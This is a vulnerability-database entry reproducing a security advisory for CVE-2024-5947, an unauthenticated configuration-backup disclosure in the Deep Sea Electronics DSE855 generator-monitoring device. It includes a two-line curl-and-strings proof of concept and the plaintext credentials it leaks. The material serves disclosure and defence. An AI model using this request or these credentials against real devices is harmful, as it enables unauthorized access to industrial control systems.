Deep Sea Electronics DSE855 Remote Authentication Bypass
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | Deep Sea Electronics DSE855 Remote Authentication Bypass Vulnerability | 3 Jul 202400:00 | – | zdt |
 | CVE-2024-5947 | 1 Sep 202401:57 | – | circl |
 | Deep Sea Electronics DSE855 Security Vulnerability | 13 Jun 202400:00 | – | cnnvd |
 | CVE-2024-5947 | 13 Jun 202419:40 | – | cve |
 | CVE-2024-5947 Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability | 13 Jun 202419:40 | – | cvelist |
 | Deep Sea Electronics DSE855 | 24 Oct 202406:00 | – | ics |
 | CVE-2024-5947 | 24 Aug 202618:25 | – | kitploit |
 | Deep Sea Electronics DSE855 - Authentication Bypass | 26 Aug 202602:49 | – | nuclei |
 | CVE-2024-5947 | 13 Jun 202420:15 | – | nvd |
 | CVE-2024-5947 | 13 Jun 202420:15 | – | osv |
10
<html><body><p>Deep Sea Electronics DSE855 Remote Authentication Bypass
Vendor: Deep Sea Electronics plc
Product web page: https://www.deepseaelectronics.com
Affected version: Model: DSE855
Software version: 1.0.26
Module version: 1.0.78
Bootloader version: 1.0.3
Firmware version: 1.1.0
Summary: The DSE855 communications device allows monitoring of a single
DSE controller with USB connectivity over a LAN or WAN connection. To achieve
this the DSE855 utilises its in-built web server or MODBUS TCP. In order
to use over a LAN connection the on-site router must be configured to be
accessible from any global location.
Desc: The device is vulnerable to configuration disclosure when direct object
reference is made to the Backup.bin file using an HTTP GET request. This will
enable an attacker to disclose sensitive information and help her in authentication
bypass, privilege escalation and full system access.
Tested on: embOS/IP
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5825
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5825.php
ZDI ID: ZDI-24-671
ZDI CAN: ZDI-CAN-22679
ZDI URL: https://www.zerodayinitiative.com/advisories/ZDI-24-671/
ZDI Title: (0Day) Deep Sea Electronics DSE855 Configuration Backup Missing Authentication Information Disclosure Vulnerability
CVE ID: CVE-2024-5947
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-5947
10.11.2023
--
$ curl -s -O http://target/Backup.bin
$ strings Backup.bin
DSEB
Admin
Password1234
Tech
Password1234
thricer
scada
rd1234
lokna
xela123
DSE855
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jul 2024 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.5
CVSS 36.5
EPSS0.02418
SSVC